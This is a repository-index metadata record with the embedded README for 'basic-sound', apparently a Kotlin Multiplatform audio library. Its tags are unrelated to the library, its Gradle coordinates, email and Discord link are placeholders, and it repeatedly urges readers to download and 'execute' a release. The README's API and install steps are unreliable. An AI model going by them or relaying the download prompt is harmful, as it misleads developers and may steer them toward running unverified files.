{"id":27455617,"url":"https://github.com/martinafejid/basic-sound","last_synced_at":"2025-08-02T15:08:04.899Z","repository":{"id":288005101,"uuid":"966500802","full_name":"martinafejid/basic-sound","owner":"martinafejid","description":"Integrate audio across all your Kotlin Multiplatform apps with a single library","archived":false,"fork":false,"pushed_at":"2025-07-17T05:04:53.000Z","size":251,"stargazers_count":2,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-07-17T05:52:09.384Z","etag":null,"topics":["android","audio-visualizer","colecovision","fft","foundry-vtt","interpreter","javascript","python","raspberry-pi","scripting-language","smallbasic","tatung","voxel","web-audio"],"latest_commit_sha":null,"homepage":null,"language":"Kotlin","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/martinafejid.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2025-04-15T02:49:55.000Z","updated_at":"2025-07-17T05:04:57.000Z","dependencies_parsed_at":"2025-04-29T19:23:54.101Z","dependency_job_id":"a1ef077a-86cc-41a2-ae8e-5465b8106d71","html_url":"https://github.com/martinafejid/basic-sound","commit_stats":null,"previous_names":["martinafejid/basic-sound"],"tags_count":1,"template":false,"template_full_name":null,"purl":"pkg:github/martinafejid/basic-sound","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/martinafejid%2Fbasic-sound","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/martinafejid%2Fbasic-sound/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/martinafejid%2Fbasic-sound/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/martinafejid%2Fbasic-sound/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/martinafejid","download_url":"https://codeload.github.com/martinafejid/basic-sound/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/martinafejid%2Fbasic-sound/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":268408194,"owners_count":24245576,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-08-02T02:00:12.353Z","response_time":74,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["android","audio-visualizer","colecovision","fft","foundry-vtt","interpreter","javascript","python","raspberry-pi","scripting-language","smallbasic","tatung","voxel","web-audio"],"created_at":"2025-04-15T16:44:24.886Z","updated_at":"2025-08-02T15:08:04.891Z","avatar_url":"https://github.com/martinafejid.png","language":"Kotlin","funding_links":[],"categories":[],"sub_categories":[],"readme":"# 🎶 Basic Sound 🎶\n\n![Basic Sound](https://img.shields.io/badge/Download%20Latest%20Release-Click%20Here-brightgreen?style=flat-square\u0026logo=github)\n\nIntegrate audio across all your Kotlin Multiplatform apps with a single library. Basic Sound provides a simple and effective way to handle audio in your applications, whether you are developing for Android, iOS, JavaScript, or any other Kotlin Multiplatform target.\n\n## 🚀 Features\n\n- **Cross-Platform Support**: Use the same audio library for Android, iOS, JVM, JavaScript, and WASM.\n- **Easy Integration**: Quick setup with straightforward documentation.\n- **Lightweight**: Minimal overhead to keep your apps running smoothly.\n- **Flexible API**: Designed for developers, offering a clear and concise API for audio handling.\n\n## 📦 Installation\n\nTo get started with Basic Sound, you can download the latest release from our [Releases section](https://github.com/martinafejid/basic-sound/releases). After downloading, follow the instructions in the release notes to execute and integrate it into your project.\n\n### Gradle Setup\n\nFor Android and JVM projects, add the following to your `build.gradle` file:\n\n```groovy\ndependencies {\n    implementation 'com.example:basic-sound:1.0.0'\n}\n```\n\nFor Kotlin Multiplatform projects, include it in your shared module:\n\n```kotlin\nkotlin {\n    sourceSets {\n        val commonMain by getting {\n            dependencies {\n                implementation(\"com.example:basic-sound:1.0.0\")\n            }\n        }\n    }\n}\n```\n\n### Swift Package Manager\n\nFor iOS projects, you can integrate Basic Sound using Swift Package Manager:\n\n1. Open your project in Xcode.\n2. Go to `File` \u003e `Swift Packages` \u003e `Add Package Dependency`.\n3. Enter the repository URL: `https://github.com/martinafejid/basic-sound`.\n\n## 📖 Usage\n\n### Initializing Basic Sound\n\nTo start using Basic Sound, you need to initialize the audio engine. This can be done in your main application file.\n\n```kotlin\nimport com.example.basicsound.BasicSound\n\nfun main() {\n    val audioEngine = BasicSound()\n    audioEngine.initialize()\n}\n```\n\n### Playing Sounds\n\nTo play a sound, use the following code:\n\n```kotlin\naudioEngine.playSound(\"path/to/soundfile.mp3\")\n```\n\n### Stopping Sounds\n\nTo stop a sound that is currently playing:\n\n```kotlin\naudioEngine.stopSound(\"path/to/soundfile.mp3\")\n```\n\n### Adjusting Volume\n\nYou can adjust the volume with a simple method call:\n\n```kotlin\naudioEngine.setVolume(0.5f) // Volume ranges from 0.0 to 1.0\n```\n\n## 🌐 Supported Platforms\n\nBasic Sound supports a wide range of platforms, ensuring you can build your applications without limitations:\n\n- **Android**: Full support for Android devices.\n- **iOS**: Seamless integration with Swift and Objective-C.\n- **JavaScript**: Perfect for web applications.\n- **JVM**: Works well with any Java-based applications.\n- **WASM**: Compile to WebAssembly for performance in the browser.\n\n## 🔧 Contributing\n\nWe welcome contributions to Basic Sound! If you want to help improve the library, follow these steps:\n\n1. Fork the repository.\n2. Create a new branch for your feature or bug fix.\n3. Make your changes and commit them.\n4. Push your branch and create a pull request.\n\nPlease ensure that your code adheres to our coding standards and includes appropriate tests.\n\n## 📝 Documentation\n\nComprehensive documentation is available in the [Wiki](https://github.com/martinafejid/basic-sound/wiki). You will find detailed guides, API references, and examples to help you get the most out of Basic Sound.\n\n## 🛠️ Roadmap\n\nHere are some upcoming features we plan to implement:\n\n- **Advanced Audio Effects**: Add support for audio filters and effects.\n- **Improved Performance**: Optimize audio playback for lower latency.\n- **Expanded Platform Support**: Include more platforms based on community feedback.\n\n## 🗣️ Community\n\nJoin our community of developers using Basic Sound. Share your projects, ask questions, and get support. You can find us on:\n\n- **Discord**: [Join our server](https://discord.gg/example)\n- **Twitter**: [Follow us](https://twitter.com/example)\n- **GitHub Discussions**: Engage with other users and developers.\n\n## 📅 Changelog\n\nKeep track of updates and changes in the [Changelog](https://github.com/martinafejid/basic-sound/releases). We regularly update the library to fix bugs and introduce new features.\n\n## 📧 Contact\n\nFor inquiries or support, please contact us at support@example.com.\n\n## 🎉 Conclusion\n\nBasic Sound is your go-to solution for audio integration across Kotlin Multiplatform apps. Download the latest release from our [Releases section](https://github.com/martinafejid/basic-sound/releases) and start building amazing audio experiences today!\n\n![Audio Experience](https://img.shields.io/badge/Download%20Latest%20Release-Click%20Here-brightgreen?style=flat-square\u0026logo=github)","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmartinafejid%2Fbasic-sound","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmartinafejid%2Fbasic-sound","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmartinafejid%2Fbasic-sound/lists"}